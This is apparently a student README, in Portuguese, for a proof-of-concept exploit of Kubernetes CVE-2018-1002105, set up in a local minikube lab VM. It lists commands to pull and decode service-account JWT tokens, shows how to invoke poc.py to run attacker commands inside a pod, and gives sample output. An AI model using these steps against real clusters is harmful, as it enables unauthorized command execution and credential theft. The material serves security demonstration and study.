
Exploit de prova de conceito para CVE-2018-1002105, uma vulnerabilidade de escalonamento de privilégios no Kubernetes que permite execução não autorizada de comandos em pods através do kube-apiserver.
Membros: Abhishek Rungta, Shubham Saini, Siddhant Sood
Fornecemos uma imagem do Virtual Box (arquivo .ova) Baixe-a e crie uma VM a partir dela. O ova fornecido está pré-configurado com Docker v18.09 e Minikube v1.9.0
Como nossa imagem virtual já possui minikube e as versões necessárias do Kubernetes, basta executar o seguinte comando para iniciar o minikube
minikube start --kubernetes-version=v1.12.2
Crie um novo usuário e um namespace e atribua a função RBAC ao usuário criado usando o comando a seguir.
kubectl apply -f fixing_policy.yml
kubectl edit configmaps kube-proxy --namespace=kube-system
Altere o set maxPerCore para 0
Primeiro, execute o seguinte comando para obter todos os tokens JWT armazenados no sistema
kubectl get secrets -A
Para obter o segredo do usuário específico criado, execute o seguinte comando:
kubectl -n [namespace] get secrets [user-token] -o json
Em seguida, decodifique-o em base64.
export TOKEN=$(echo TOKEN | base64 -d)
echo $TOKEN
kubectl cluster-info
kubectl run --image=nginx:alpine securenginx -n poc
Especifique todos os argumentos necessários:
-t para o alvo> ip:porta (obrigatório)
-j para o token JWT do usuário (obrigatório)
-p para o pod (obrigatório)
-n para o namespace
-m para o método (obrigatório)
-c para o container
-x para o comando do atacante
Entrada
./poc.py -t [IP:Port] -j [token] -p [pod] -n [namespace] -m attach -x "command"
./poc.py -t 127.0.0.1:32768 -j $TOKEN -p securenginx -m attach -n poc -x "ifconfig eth0"
Saída
eth0 Link encap:Ethernet HWaddr 02:42:AC:11:00:02
inet addr:172.17.0.2 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1313 errors:0 dropped:0 overruns:0 frame:0
TX packets:1224 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:217603 (212.5 KiB) TX bytes:428778 (418.7 KiB)
{"metadata":{},"status":"Success"}
Vídeo de demonstração link